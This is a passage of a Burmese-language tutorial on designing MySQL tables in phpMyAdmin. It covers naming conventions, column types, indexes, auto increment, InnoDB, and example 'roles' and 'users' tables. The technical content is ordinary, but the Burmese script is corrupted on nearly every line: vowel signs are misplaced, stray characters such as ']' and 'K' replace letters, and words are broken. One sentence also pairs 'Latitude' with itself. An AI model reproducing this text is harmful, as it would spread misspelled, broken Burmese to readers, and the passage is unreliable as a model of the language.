လုပ်ပေပးတယ်ဆိုတဲ့  သပေဘာပါ။  ဒါပေကြကာင့်  အမည်ပေတွ  ပေပးပံုပေပးနည်းကို  ဂရုစိုက်ကြကK့ုိ  လုိပါတယ်။
အပေသးစိတ် စည်းကမ်း]ျက်ပေတွကပေတာ့ သက်ဆိုင်ရာ Framework ပေပါ်မူတည်ပါတယ်။ ဒါပေပမယ့် အများ
အားဖြKင့် အသံုးဖြပုကြကပေလ့ရှိတဲ့ အပေဖြ]]ံမူပေတွကိုပေတာ့ ပေဖြပာလ့ုိရပါတယ်။ 

ပထမဆုံးမှတ်သားရမယ့် အ]ျက်ကပေတာ့ Database Name, Table Name, Column Name စတဲ့ အမည်
အားလံုးကို  Snake Case   နဲ့ ပေပးရပါတယ်  ။  Snake Case  ဆိုတာ စာလံုးအပေသးပေတွ]ျည်းပဲသံုးပြပီး  Space
လုိအပ်တဲ့ပေနရာမှာ Space အစား Underscore ကို အသံုးဖြပုတဲ့ ပေရးဟန်ပါ (ဥပမာ - php_my_admin)။
တစ်ဖြ]ားအမည်ပေပးပံုပေတွဖြKစ်တဲ့ Camel Case (ဥပမာ - phpMyAdmin) နဲ့ Capital Case/Pascal Case
(ဥပမာ  -  PhpMyAdmin)  တို့ကို  သ့ူပေနရာနဲ့သူ သံုးရတဲ့ပေနရာပေတွ ရိှပေပမယ့်  Database  နဲ့ပက်သက်တဲ့
အမည်ပေတွမှာပေတာ့ Snake Case ကိုသာ သံုးကြကပေလ့ရှိပါတယ်။ ဒါဟာ Convention ဆိုတာကို သတိဖြပုပါ။
Syntax  မဟုတ်ပါဘူး။  လုိက်နာရင်  စနစ်ပုိကျပေပမယ့်  မလိုက်နာရင်လည်း  အလုပ်လုပ်တဲ့အတွက်  ကိုယ့်
ဘက်က သတိထားပြပီး လုိက်နာပေပးK့ုိ လုိအပ်ပါတယ်။

အမည်နဲ့ပက်သက်ရင် ပေနာက်ထပ်မှတ်သားသင့်တဲ့ အ]ျက်ကပေတာ့ Table Name   ပေတွကို   Plural   ပေပးသင့်  
တယ် ဆိုတဲ့အ]ျက်ဖြKစ်ပါတယ်။ users, roles, categories စသည်ဖြKင့်  Plural  အပေနနဲ့ ပေပးရ
တာပါ။ အထဲမှာ User ပေတွအများကြကီးရှိတယ်။ Role ပေတွအများကြကီးရှိတယ်။ Category ပေတွ အများကြကီးရှိ
တယ်ဆိုတဲ့  အဓိပ္ပါယ်ပါပဲ။  ကုဒ်ပေရးတဲ့အ]ါမှာလည်း တန်Kိုးအများကို  သိမ်းရင်  Variable Name  ပေတွကို
Plural  ပေပးသင့်တာပါပဲ။  ဒီပေရးနည်းပေလးက  ပေနာက်ပုိင်းမှာ  ပေတာက်ပေလ�ာက်  အကျ ို းဖြပုတာကို
အပေတွ့အကြကုံရလာတဲ့အ]ါ သိလာပါလိမ့်မယ်။

ပေနာက်ထပ်မှတ်သားသင့်တဲ့အ]ျက်ကပေတာ့  Double Context    ကို အမည်ဖြပန်ထပ်တာပေတွကို ပေရှာင်ရှားK့ုိ  
ဖြKစ်ပါတယ်။ ဥပမာ  -  users Table  ထဲမှာ  user_id ဆိုတဲ့  Column  ရှိမယ်ဆိုရင် အမည်ဖြပန်ထပ်တဲ့
သပေဘာပါပဲ။ တစ်ကယ်ပေတာ့  id ဆိရုင် ရပါပြပီ။  users Table ထဲက id မ့ုိလ့ုိ  user_id ဖြKစ်ပေကြကာင်း
Context အရ ပေပါ်လွင်ပြပီးဖြKစ်လ့ုိ ဖြပန်ထပ်ပေအာင် မပေပးသင့်ပေတာ့ပါဘူး။ ဒါဟာလည်း ပေရရှည်မှာ အကျ ို းဖြပု
မယ့် မှတ်သားစရာပေလး တစ်]ုပါပဲ။
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ဖြပန်ပေကာက်ရရင်  မှတ်သားစရာ  (၃)  ]ုပေဖြပာ]ဲ့တာပါ။  Database,  Table,  Column  အမည်အားလံုးကို
Snake Case နဲ့ပေပးသင့်တယ်။ Table အမည်ဟာ Plural ဖြKစ်သင့်တယ်။ Double Context ကို ပေရာှင်ရမယ်
ဆိုတဲ့ (၃) ]ျက်ဖြKစ်ပါတယ်။

Type –  MySQL  မှာ  Column Type  အများအဖြပား ရိှပါတယ်။ အသုံးများမယ့်  Type  ပေတကွပေတာ့  INT,
VARCHAR,  TEXT,  DATETIME  နဲ့  TIMESTAMP  တို့ဖြKစ်ပါတယ်။  မှန်ကန်တဲ့  Type  ကို  ပေရွးပေပးထားမှ၊
တွက်]ျက်မှုပေတွ၊ နှိုင်းယှဉ်မှုပေတွနဲ့  Sorting စီတဲ့ကိစ္စလုိ အလုပ်မျ ို းပေတွကို  Database က မှန်ပေအာင် လုပ်
ပေပးနိုင်မှာပါ။ ကိန်းဖြပည့် ကိန်းဂဏန်းပေတွသိမ်းK့ုိ INT ကို သံုးနိုင်ပါတယ်။ ဒဿမကိန်းပေတွ သိမ်းK့ုိအတွက်
FLOAT လည်းရှိပါတယ်။ VARCHAR   ကိုပေတာ့ အပေရအတွက် အကန့်အသတ်ရှိတဲ့ စာပေတွသိမ်းK့ုိ   သံုးနိုင်ပါ
တယ်။ Variable Length Character ဆိုတဲ့အဓိပ္ပါယ်ပါ။ လူအမည်၊ အီးပေမးလ်၊ Kုန်းနံပါတ်၊ ပတ်စ်ဝပ် စတဲ့
အ]ျက်အလက်မျ ို းပေတွဟာ အပေရအတွက်အားဖြKင့် အကန့်အသတ်နဲ့သာ သိမ်းKို့လုိတဲ့ စာအမျ ို းအစားပေတွ
ပါ။  အပေရအတွက်  အကန့်အသတ်ပေဖြပာKို့]က်တဲ့  စာပေတွဆိုရင်ပေတာ့    TEXT    ကို  သံုးသင့်ပါတယ်  ။ သတင်း
Article  ပေတွ၊  ပ့ုိစ်ပေတွ၊  ကိုယ်ပေရးအ]ျက်အလက်ပေတွ၊  လိပ်စာပေတွဆိရုင်  အပေရအတွက်  အကန့်အသတ်
ပေဖြပာK့ုိ]က်လ့ုိ TEXT ကို သံုးသင့်ပါတယ်။

DATETIME  ကိုပေတာ့  ရက်စွဲနဲ့အ]ျနိ်  ပူးတွဲပြပီး  သိမ်းK့ုိအတွက်  သံုးနိုင်ပါတယ်။  Year-Month-Day
Hour:Minute:Second Format  ကိုသံုးပါတယ်  (ဥပမာ  2020-01-11 14:30:22)။  DATE  သပ်သပ်
TIME သပ်သပ် သိမ်း]ျင်ရင်လည်း Column Type ပေတွရှိပါတယ်။ TIMESTAMP ကပေတာ့ ရက်စွဲအ]ျနိ်ကိုပဲ
Timestamp Format နဲ့ သိပ်ပေပးတာပါ။ Timestamp ဆိုတာ ၁၉၇၀ ဖြပည့်နှစ် ဇန်နဝါရီ (၁) ရက်ပေန့ကပေန
လက်ရှိအ]ျနိ်ထိ စက္ကန့်စုစုပေပါင်းကို ပေဖြပာတာပါ။

Length/Values –  VARCHAR Column Type    ကိုအသံုးဖြပုလုိရင်    Length    သတ်မှတ်ပေပးရပါတယ်  ။ မဖြKစ်
မပေန သတ်မှတ်ပေပးK့ုိ လုိအပ်တာပါ။ သိမ်းလုိတဲ့စာရဲ့ အဖြမင့်ဆုံးဖြKစ်နိုင်တဲ့ စာလံုးအပေရအတွက်ကို ပေပးရတဲ့
သပေဘာပါ။ တစ်ဖြ]ား Column အမျ ို းအစားပေတွမှာ မပေပးရင်လည်း ရပါတယ်။
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Default –  Data  ပေတွကို  Table  ထဲမှာ  သိမ်းစဉ်မှာ  သက်ဆိုင်ရာ  Column  အတွက်  တန်Kုိးမပေပး]ဲ့ရင်
Default  အပေနနဲ့  သိမ်းပေပးပေစလိုတဲ့တန်Kုိးရှိရင်  သတ်မှတ်ပေပးထားနိုင်ပါတယ်။  phpMyAdmin  က ပေပး
ထားတဲ့ Select Box ကပေန As defined: ကိုပေရွးပြပီး ကိုယ်ပေပး]ျင်တဲ့ တန်Kုိးကို ပေပးနိုင်ပါတယ်။

Collation – Collation ပေကြကာင်းကို အထက်မှာ ပေဖြပာ]ဲ့ပြပီးဖြKစ်ပါတယ်။ Database တည်ပေဆာက်စဉ်က ပေရွး
]ဲ့တဲ့ Collation ကို မသံုးဘဲ သက်ဆိုင်ရာ Column အတွက် သီးဖြ]ား Collation သတ်မှတ်လုိရင်လည်း ပေရးွ
ပြပီး သတ်မှတ်နိုင်Kို့ ပေပးထားတာပါ။

Attributes – Column Type မှာ  INT (သ့ုိမဟုတ်) FLOAT ကိပုေရွးပြပီး  Attributes  ပေနရာ UNSIGNED ကို
ပေရွးပေပးလိုက်မယ်ဆိုရင် အနှုတ်ကိန်းပေတွ သိမ်းလ့ုိမရပေတာ့ပါဘူး။ အနှုတ်ကိန်းပေတွ သိမ်းK့ုိမလိုတဲ့  ပေနရာ
မှာ ပေရးွ]ျယ်ပေပးထားမယ်ဆိုရင် Data ပေတရွဲ့ ပေနရာယူမှု သက်သာသွားနိုင်ပါတယ်။

Null –  Null  ကိုပေပးလာတဲ့အ]ါ  လက်]ံလုိရင်  ပေရွးထားနိုင်ပါတယ်။  ဥပမာ –  မှတ်ပံုတင်အမှတ်  သိမ်းK့ုိ
Column  မှာ  Null  ကိုလက်]ံမယ်ဆိုရင်  မှတ်ပံုတင်မရှိလ့ုိ  မပေပး]ဲ့ရင်လည်း  လက်]ံပေပးသွားမှာပါ။
အကယ်၍  Null  ကို  လက်မ]ံဘူးဆိုရင်ပေတာ့ မှတ်ပံုတင် ရှရိှိ  မရှရိှိ  တန်Kုိးတစ်]ုကို  ပေပးကို  ပေပးရပါပေတာ့
မယ်။  Database  က မပေပးရင် လက်မ]ံပေတာ့ပါဘူး။ ဒါပေကြကာင့်  Null  ပေပးတာကို လက်]ံသင့်တဲ့  Column
ပေတွမှာ Null ကို ပေရွးထားသင့်ပါတယ်။

Index –  Index  ဆိုတာ စာအုပ်တစ်အုပ်မှာ  မာတိကာနဲ့  စာမျက်နှာနံပါတ်  တပ်ပေပးလုိက်သလုိပဲ၊  Table
ထဲက  Data  ပေတွအတွက်  မာတိကာနဲ့  စာမျက်နှာနံပါတ်  တပ်ပေပးလုိက်တာပါပဲ။  မာတိကာနဲ့  စာမျက်နှာ
နံပါတ် မရှတိဲ့အ]ါ တစ်]ု]ုကိရုှာ]ျင်ရင် တစရ်ွက်]ျင်းလှန်ရှာရမှာပါ။ ရိှရင်ပေတာ့ ကိုယ်လုိ]ျင်တဲ့စာမျက်နှာ
ကို တန်းလှန်လိုက်လ့ုိ ရနိုင်ပါတယ်။ ဒီသပေဘာပါပဲ၊ Index   မရှိတဲ့အ]ါ တစ်]ု]ုလုိ]ျင်ရင် တစ်ပေကြကာင်း]ျင်း  
ပေထာက်ရှာရမှာပါ။ Index ရိှရင်ပေတာ့ လုိ]ျင်တဲ့ Record ကို တန်းပေထာက်လုိက်လုိ့ ရနိုင်ပါတယ်။

Index အမျ ို းအစား (၅) မျ ို းရှိပါတယ်။ အ့ဲဒီထဲက Fulltext ဆိုတာ စာပေတရွှာတဲ့အ]ါ အတိအကျမဟုတ်ဘဲ
အနည်းစပ်ဆုံးတန်Kုိးကို Rank လုပ်ပြပီး ဖြပန်ထုတ်ပေပးနိုင်တဲ့ Search Index မျ ို းပါ။ Spatial ဆိုတာကပေတာ့
Geolocation Data  ပေတွမှာလုိ  Latitude  နဲ့  Latitude  ဆိုတဲ့  အ]ျက်အလက်နှစ်]ု  ဆက်စပ်သိမ်းဆည်း
ထားတဲ့ အ]ျက်အလက် အမျ ို းအစားပေတွအတွက် အသုံးဖြပုရတဲ့ Index မျ ို းပါ။ 
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ဒီနှစ်]ုက ထူးဖြ]ားတဲ့ ပပေရာဂျက်အမျ ို းအစားပေတွမှာသာ အသံုးဖြပုကြကမယ့် သပေဘာပဲ ဖြKစ်ပါတယ်။

ပုိအသံုးများမယ့် Index အမျ ို းအစားပေတွကပေတာ့ Index, Unique နဲ့ Primary တို့ပဲဖြKစ်ပါတယ်။ Index ဆို
တာကပေတာ့  ပေစာပေစာကပေဖြပာသလုိ  မာတိကာ  တပ်ပေပးလုိက်တာပါပဲ။  အပေဖြ]]ံအကျဆုံး  Index  အမျ ို း
အစား ဖြKစ်ပါတယ်။  Data  ပေတွ ရှာရတာဖြမန်]ျင်တဲ့  Column  ပေတွမှာ  Index  ကို ပေရးွထားပေပးနိုင်ပါတယ်။
ဥပမာ  -  ပေကျာင်းသားပေတွရဲ့  အ]ျက်အလက်ပေတွကို  သိမ်းထားပြပီး  ]ုံနံပါတ်နဲ့အရှာများရင်  ]ုံနံပါတ်ကို
Index လုပ်ရပါတယ်။ အမည်နဲ့ အရှာများရင် အမည်ကို  Index လုပ်ရပါတယ်။ ပေကျာင်းဝင်အမှတ်နဲ့ အရှာ
များရင် ပေကျာင်းဝင်အမှတ်ကို Index လုပ်ရပါတယ်။ ပုိပေကာင်းသွားပေအာင် အကုန်လုံးကို Index လုပ်လုိက်
မယ်လ့ုိ ပေဖြပာလ့ုိပေတာ့  မရပါဘူး။  Index  လုပ်လုိက်တဲ့အ]ါ  Index  ပေတွသိမ်းK့ုိအတွက် ပေနရာပုိယူသွားမှာ
ဖြKစ်ပါတယ်။ Index ရိှတဲ့အတွက် Data ရှာယူရတာ ဖြမန်သွားပေပမယ့်၊ Data သိမ်းရတာပေတာ့ ပုိကြကာသွားနိုင်
ပါတယ်။ သိမ်းလုိက်တိုင်း Index ကိုလည်း ဖြပင်ပေပးရမှာ မ့ုိလုိ့ပါ။ ဒါပေကြကာင့် အသံုးများတဲ့ Column ပေတွကို
သာ ပေရးွပြပီး Index လုပ်ရတဲ့သပေဘာပါ။

Unique   ကပေတာ့ တန်Kုိးပေတွ ဖြပန်ထပ်ရင် လက်မ]ံတဲ့   Index   အမျ ို းအစားပါ  ။ ဥပမာ - ]ုံနံပါတ်ဆိုတာ ဖြပန်
ထပ်ရိုးထံုးစံ  မရှိပါဘူး။  ဒါပေကြကာင့်  Unique Index  ပေပးလုိက်ရင် ပုိပေကာင်းပါတယ်။  Unique  ဖြKစ်သွားတဲ့
အတွက်  ရလာတဲ့အကျ ို းရလဒ်  နှစ်]ရုှိပါတယ်။  ပထမတစ်]ုက  Data  ဖြပန်ထပ်ပြပီးသိမ်းK့ုိ  ကြကိုးစားရင်
Database  က  လက်မ]ံတဲ့အတွက်  မပေတာ်တစ်ဆ  ဖြပန်ထပ်တာမျ ို း  မဖြKစ်ပေတာ့ပါဘူး။  ပေနာက်တစ်]ု
ကပေတာ့  Data    အသစ်ထပ်ထည့်တိုင်း   မာတိကာအစအဆုံး ဖြပန်ဆွဲရသလုိ  Index    အစအဆုံး ဖြပန်လုပ်K့ုိ  မ  
လုိအပ်ပေတာ့ဘဲ ထပ်တိုးတဲ့ တန်Kုိးကိုသာ Index   မှာ   ထ  ပ်တိုးပေပးနိုင်လ့ုိ   ပုိဖြမန်သွားမှာပဲ ဖြKစ်ပါတယ်။

Primary နဲ့ Unique ဟာ Index လုပ်ပံု သပေဘာသဘာဝ တူပါတယ်။ ကွဲဖြပား]ျက်ကပေတာ့ Table တစ်]ုမှာ
Primary Index  လုပ်ထားတဲ့  Column  တစ်]ုသာ ရိှ]ွင့်ရှိဖြ]င်း ဖြKစ်ပါတယ်။  Unique Index  ကပေတာ့ လုိ
သပေလာက် သတ်မှတ်နိုင်ပါတယ်။ Primary Index ကို  Data ပေတွစီမံK့ုိအတွက် အဓိကအကျဆုံး  Column
မှာ သတ်မှတ်ပေပးကြကပေလ့ ရိှပါတယ်။ ဒီအတွက် ကိုယ့်ဘာသာပေရွးမပေနပါနဲ့။ ဥပမာ – ]ုံနံပါတ်ကို  Primary
ထားရင်ပေကာင်းမလား၊ ပေကျာင်းဝင်အမှတ်ကို Primary ထားရင်ပေကာင်းမလား ပေရွးမပေနပါနဲ့။ Table   တစ်]ု  
တည်ပေဆာက်လိုက်တိုင်းမှာ   id     လ့ုိအမည်ပေပးထားတဲ့   Column   တစ်]ုထည့်သွင်းပြပီး အ့ဲဒီ   Column   ကိုသာ  
Primary   အပေနနဲ့ ထားသင့်ပါတယ်  ။ ဒါလည်းပဲ Naming Convention တစ်]ုအပေနနဲ့ ထည့်သွင်းမှတ်သား
သင့်တဲ့ အ]ျက်ဖြKစ်ပါတယ်။
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AI – Auto Increment ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ AI ကို ပေရးွထားလုိက်မယ့်ဆိုရင် အ့ဲဒီ Column ထဲက Data ကို
ကိုယ်ဘက်က ပေပးစရာမလုိပေတာ့ပါဘူး။  Database  က အလုိအပေလ�ာက် တန်Kုိးတိုးပြပီး ထည့်ပေပးသွားမှာ
ဖြKစ်ပါတယ်။ AI နဲ့ Primary ကို တဲွပြပီးပေတာ့ သံုးကြကပါတယ်။ ဒါပေကြကာင့် ဖြပန်ပေဖြပာ]ျင်ပါတယ်။ Table   တစ်]ု  
တည်ပေဆာက်လိုက်တိုင်းမှာ    id     လ့ုိအမည်ပေပးထားတဲ့    Column    တစ်]ုထည့်သွင်းပြပီး  အ့ဲဒီ    Column    ကို  
Primary   Index   ပေပးပြပီး   AI   ကိုလည်း ပေရးွပေပးထား  သင့်ပါတယ်  ။

ဒီပေလာက်ဆိုရင်  Column Property  ပေတွနဲ့ပက်သက်ပြပီး အပေတာ်စုံသွားပါပြပီ။ ပေနာက်ဆုံးတစ်]ျက်အပေနနဲ့
ပေအာက်နားက Storage Engine ကို သတိဖြပုသင့်ပါတယ်။ Table ထဲမှာ Data ပေတွသိမ်းဆည်းဖြ]င်းနဲ့ စီမံ
ဖြ]င်းကို အ့ဲဒီ Storage Engine ကလုပ်ပေပးတာပါ။ MySQL မှာ ပေရွး]ျယ်အသံုးဖြပုစရာ Engine အမျ ို းမျ ို း ရှိ
ပါတယ်။  Feature  အဖြပည့်စုံဆုံးနဲ့  အသုံးဖြပုK့ုိ အသင့်ပေတာ်ဆုံးက InnoDB ဖြKစ်ပြပီး  Default  အပေနနဲ့လည်း
InnoDB  ကိုပဲ ပေရးွပေပးထားတာကို ပေတွ့ ရမှာပါ။  InnoDB  ဟာ  Transaction  နဲ့  Foreign Key  အပါအဝင်
ACID  Compliance  ပေ]ါ်  အ]ျက်အလက်  တိကျလုံခြ]ုံမှုနက်သက်ဆိုင်တဲ့  လုပ်ပေဆာင်]ျက်ပေတွ  ပါဝင်တဲ့
နည်းပညာဖြKစ်ပါတယ်။  သ့ူပေလာက်  Feature  မစုံပေပမယ့်  Data  ပေတွပုိများများ  သိမ်းနိုင်ပြပီး  နည်းနည်း
လည်း  ပုိဖြမန်တဲ့  MyISAM  ကို  အရင်က  Default  အပေနနဲ့  သံုးကြကပါတယ်။  ဒီပေနရာမှာ  အပေသးစိတ်ပေတာ့
မပေဖြပာနိုင်ပါဘူး။  ပပေရာဂျက်ကြကီးပေတွ  လုပ်ရပေတာ့မယ်ဆိုရင်ပေတာ့  Database  ရဲ့စွမ်းပေဆာင်ရည်ပုိင်း
]ျင့်]ျနိ်နိုင်K့ုိအတွက် ဒီ Storage Engine ပေတွအပေကြကာင်းကို ပေလ့လာပြပီး သင့်ပေတာ်တဲ့ Engine ကို ပေရးွ]ျယ်
အသုံးဖြပုK့ုိ လုိနိုင်တယ်ဆိုတာကိုသာ သတိဖြပုပါ။ ပပေရာဂျက်အများစု အတွက်ပေတာ့  InnoDB  ကသာလ�င်
အသင့်ပေတာ်ဆုံးဖြKစ်လ့ုိ သူပေရွးပေပးထားတဲ့အတိုင်းပဲ အသံုးဖြပုသွားသင့်ပါတယ်။

နမူနာအပေနနဲ့  တည်ပေဆာက်လိုတဲ့  roles Table  မှာ  Column  (၃)  ]ုပါဝင်မှာ  ဖြKစ်ပါတယ်။  ရှိရမယ့်
Column Property ပေတွက ဒီလုိပါ –

roles
id – INT, Primary, AI
name – VARCHAR (255)
value – INT

သတ်မှတ်ပေပးထားပံုကို ဒီမှာဖြပန်ကြကည့်လ့ုိလဲရပါတယ်။
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name Column အတွက် VARCHAR Column Type ကို သံုးထားလို့  Length ပေနရာမှာ 255 လ့ုိပေပးထားပါ
တယ်။ ဒီ  Property  ပေတွ  စုံပေအာင်သတ်မှတ်ပြပီးရင်  ပေအာက်နားက  Save  ]လုပ်ကိုနှိပ်လုိက်ပါ။  roles
အမည်နဲ့ Column (၃) ]ုပါတဲ့ Table တစ်]ုကို တည်ပေဆာက်ရရှိသွားပြပီ ဖြKစ်ပါတယ်။
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အပေကြကာင်းအမျ ို းမျ ို းပေကြကာင့် တည်ပေဆာက်ထားတဲ့  Table  ကို ဖြပန်Kျက်]ျင်ရင်  Operations Menu ကိုနှိပ်
ပြပီး  ပေပါ်လာတဲ့လုပ်ပေဆာင်]ျက်ပေတွထဲက  Delete  the  table  ကို  နှိပ်ပြပီး  Kျက်လို့ရပါတယ်။ အလားတူပဲ
Database ကို ဖြပန်Kျက်]ျင်ရင်လည်း Database ကိပုေရွးထားပြပီး  Operations ထဲက Drop the database
နဲ့ Kျက်နိုင်ပါတယ်။

တည်ပေဆာက်ထားတဲ့ Table ထဲက Data ပေတွကို ကြကည့်]ျင်ရင် Menu ကပေန Browser ကိုနှိပ်ကြကည့်လ့ုိ ရပါ
တယ်။ ပေလာပေလာဆယ်ပေတာ့ ဘာ Data မှ ရှိဦးမှာ မဟုတ်ပါဘူး။ Data ပေတွ ထည့်သိမ်းလုိရင်ပေတာ့ Menu
ကပေနပဲ Insert ကိုနှိပ်ပြပီး ထည့်လုိ့ရပါတယ်။

ပေပါ်လာတဲ့ Form မှာ id အတွက် မဖြKည့်ဘဲ အလွတ်ထားလ့ုိရပါတယ်။ Auto Increment သတ်မှတ်ထား
လ့ုိ သိမ်းလုိက်]ျနိ်မှာ သ့ူဘာသာတန်Kုိးဝင်သွားပါလိမ့်မယ်။ ကျန်တဲ့  name နဲ့  value ပေနရာမှာ  name
အတွက် အပေနနဲ့ User လ့ုိပေပးပြပီး value ပေနရာမှာ 1 ကိုပေပးလုိက်ပါ။ တစ်]ါထဲ နှစ်]ုဖြKည့်]ျင်ရင် ပေအာက်
က ပေKာင်မှာ ဆက်ဖြKည့်လ့ုိရပါတယ်။ တစ်]ုပဲ  ဖြKည့်]ျင်ရင် ပေအာက်ကပေKာင်ကို  မဖြKည့်ဘဲ ]ျန်ထားလုိက်
လည်းရပါတယ်။ ပြပီးရင် Go ]လုပ်နှိပ်ပြပီး သိမ်းလုိက်လ့ုိရပါပြပီ။ စမ်းကြကည့်နိုင်ပါတယ်။ 
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သိမ်းထားတဲ့  Data  ကို  Browser  မှာ ဖြပန်ကြကည့်ပြပီး လုိအပ်ရင် ဖြပင်တာ Kျက်တာပေတွ လုပ်လ့ုိရပါတယ်။ ဒီ
အဆင့ပ်ေရာက်ပြပီဆိုရင် တစ်]ု]ျင်းပေဖြပာK့ုိ မလုိပေတာ့ဘူးလ့ုိ ယူဆပါတယ်။ User Interface နဲ့ ပေတွ့ဖြမင်ပေနရ
တာဖြKစ်လို့  ကိုယ်တိုင်ပေလ့လာအသံုးဖြပုသွားလို့  ရသွားပါပြပီ။  အ]ုလုိပံုစံမျ ို းရပေအာင်  ပေနာက်ထပ်  Record
ပေတွ ထပ်ထည့်ပေပးပါ။

 
နမူနာအရ User, Manager နဲ့ Admin လ့ုိပေ]ါ်တဲ့ Record (၃) ]ုရှိပေနပါတယ်။ User ရဲ့ value က 1 ဖြKစ်
ပြပီး  Manager  ရဲ့  value က 2 ဖြKစ်ပါတယ်။  Admin ရဲ့  value ကပေတာ့  3  ဖြKစ်ပါတယ်။ ဒါကိုမှတ်ထား
ပေပးပါ။ ဆက်လက် ပေလ့လာတဲ့အ]ါ ဒီတနKုိ်းပေတွကို အပေဖြ]]ံပြပီး ဆက်ကြကည့်သွားရမှာပေတွ ရှိလ့ုိပါ။

လက်ရှိပေရးလက်စ ပပေရာဂျက်မှာ အသုံးဖြပုK့ုိအတွက် ပေနာက်ထပ် Table တစ်]ုထပ်ပြပီးပေတာ့ တည်ပေဆာက်
ကြကပါမယ်။ users Table ပါ။ ပါရမယ့် Column ပေတွနဲ့ Column Property ပေတွက ဒီလုိပါ။
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u  sers  
id – INT, Primary, AI
name – VARCHAR (255)
email – VARCHAR (255)
phone – VARCHAR (255)
address – TEXT
password – VARCHAR (255)
role_id – INT, Default (1)
photo – VARCHAR (255), Null
suspended – INT, Default (0)
created_at – DATETIME
updated_at – DATETIME, null

စုစုပေပါင်း Column (၁၁) ]ုပါဝင်ပါတယ်။ ထူးဖြ]ား]ျက်တစ်]ျ ို ့ကို ပေဖြပာဖြပ]ျင်ပါတယ်။

id Column  ကပေတာ့  Table  တိုင်းမှာပါသင့်တဲ့အတိုင်း  Primary Index  နဲ့  Auto Increment  သတ်မှတ်
]ျက်ပေတွနဲ့အတူ ပါဝင်ရမှာပါ။ name, email, phone, address နဲ့ password တို့မှာ သိမ်းလို
တဲ့ အ]ျက်အလက်ပေတွကပေတာ့ Column အမည်မှာတင် အဓိပ္ပါယ်ပေပါ်လွင်ပြပီးဖြKစ်ပါတယ်။ 

အပေရးကြကီးတာက role_id ဖြKစ်ပါတယ်။ ဒါဟာလည်း ပေနာက်ထပ် သတိဖြပုရမယ့်   Naming Convention  
သတ်မှတ်]ျက်တစ်]ုပါ။  roles Table  ရဲ့  id ကို  ရည်ညွှန်း လုိက်တာပါ။ ဒီလုိမျ ို း အ]ျက်အလက်ပေတွ
သိမ်းတဲ့အ]ါ  တစ်ဖြ]ား  Table  တစ်]ုကတန်Kုိးနဲ့  ]ျတိ်ဆက်သိမ်းဆည်းလုိတဲ့အ]ါ  ပေရှ့ကပေန  Table  ရဲ့
Singular Name  နဲ့အတူ ပေနာက်ကပေန  _id ကို  တဲွပြပီးပေတာ့  ပေပးရတာပါ။ ဥပမာ  - User  ရဲ့  Role  က
Admin  ဆိရုင်  Admin  လ့ုိ တိုက်ရိုက်ထည့်သိမ်းမယ့်အစား  3  ဆိုတဲ့  id တန်Kုိးကို  သိမ်းလုိက်မှာပါ။  id
တန်Kုိး 3 ဆိုရင် Admin ဖြKစ်ပေကြကာင်း roles Table ကိုကြကည့်ပြပီး သိနိုင်ပါတယ်။
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ဒီလို]ျတိ်ဆက်အသုံးဖြပုတဲ့အတွက် Role Name ပေဖြပာင်းတာပေတွ၊ တပ်တိုးတာပေတွ လုပ်လုိတဲ့အ]ါ roles
Table မှာ လုပ်လိုက်ယံုနဲ့ သူနဲ့ ]ျတိ်ဆက်အသံုးဖြပုထားတဲ့ users Table မှာ သက်ပေရာက်သွားမှာ ဖြKစ်ပါ
တယ်။ users Table  ထဲမှာသာ တစ်]ါထဲ ထည့်သိမ်းမယ်ဆိုရင် ဒီလိုအပေဖြပာင်းအလဲမျ ို းက စီမံရ]က်နိုင်
ပါတယ်။

ဒါပေကြကာင့် ပပေရာဂျက်တစ်]ု စတဲ့အ]ါ၊ သိမ်းမယ့် အ]ျက်အလက် Data ပေတရွဲ့ Kဲွ့စည်းပံုနဲ့ ဆက်စပ်ပံုကို အ
ရင်ဆုံး  စနစ်တကျ  ပံုစံ]ျK့ုိလုိအပ်ပါတယ်။  ဒီလိုအ]ျက်အလက်  Kဲွ့စည်းသိမ်းဆည်းပံု  စနစ်ကျဖြ]င်း  မကျ
ဖြ]င်းက ပပေရာဂျက်အပေပါ်မှာ သိသိသာသာ သက်ပေရာက်မှုရှိပေစမှာ ဖြKစ်ပါတယ်။

ဒါဟာ  Convention  အပေနနဲ့  လုိက်နာသင့်တဲ့  အပေလ့အကျင့်ဆိုတာကို  ထပ်ပြပီးပေတာ့  သတိဖြပုပါ။  ဒီလို
အမည်ကို ပေပးလုိက်ယံုနဲ့ပေတာ့ အထက်ကပံုမှာ ဖြပထားသလုိ Table နှစ်]ု အလုိအပေလ�ာက်]ျတိ်သွားမှာမျ ို း
မဟုတ်ပါဘူး။ ဒါပေပမယ့်  Laravel  လုိ  Framework  မျ ို းအပါအဝင် တစ်]ျ ို ့စနစ်ပေတွကို  ဒီလိုအမည်မျ ို းကို
ကြကည့်ပြပီး ဆိုလုိရင်းကို နားလည် အလုပ်လုပ်ပေပးနိုင်တယ်ဆိုတဲ့ သပေဘာပါ။ 
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Column Property  အပေနနဲ့  role_id အတွက်  Default (1)  လ့ုိပေပးထားတာကို သတိဖြပုပါ။ ဒါပေကြကာင့်
role_id မပေပး]ဲ့ရင် Default Value က 1 ဖြKစ်ပေနပေစမှာပါ။ ပေနာက်ထပ်ကျန်ပေနတဲ့ Column ပေတွဖြKစ်ကြက
တဲ့  photo မှာ  User  ရဲ့  Profile  Photo  အမည်ကို  သိမ်းမှာ  ဖြKစ်ပါတယ်။  Null  လက်]ံထားပါတယ်။
suspended Column  ကိုပေတာ့  User  ပေတွ ဘန်းလ့ုိရတဲ့  လုပ်ပေဆာင်]ျက်ပေလး ထည့်လုပ်]ျင်လို့  ထည့်
ထားတာပါ။  suspended တန်Kုိး  1  ဖြKစ်ပေနရင်  User  ကို  ဘန်းထားတယ်လ့ုိ မှတ်ယူအလုပ်လုပ်]ျင်တာ
ပါ။ သ့ူအတွက်လည်း Default Value အပေနနဲ့ 0 လ့ုိပေပးထားပါတယ်။

created_at နဲ့ updated_at တို့ကလည်း အပေရးပါတဲ့ Column ပေတွဖြKစ်ကြကပါတယ်။ Table တိုင်းမှာ
ပါဝင်သင့်ပါတယ်။ Record တစ်]ုထည့်လုိက်ရင် ထည့်လိုက်တဲ့ ရက်စွဲ/အ]ျနိ်ကို created_at မှာ သိမ်း
]ျင်တာပါ။  Record  တစ်]ုကို ဖြပင်လုိက်ရင်ပေတာ့ ဖြပင်လုိက်တဲ့  ရက်စွဲ/အ]ျနိ်ကို  updated_at မှာ သိမ်း
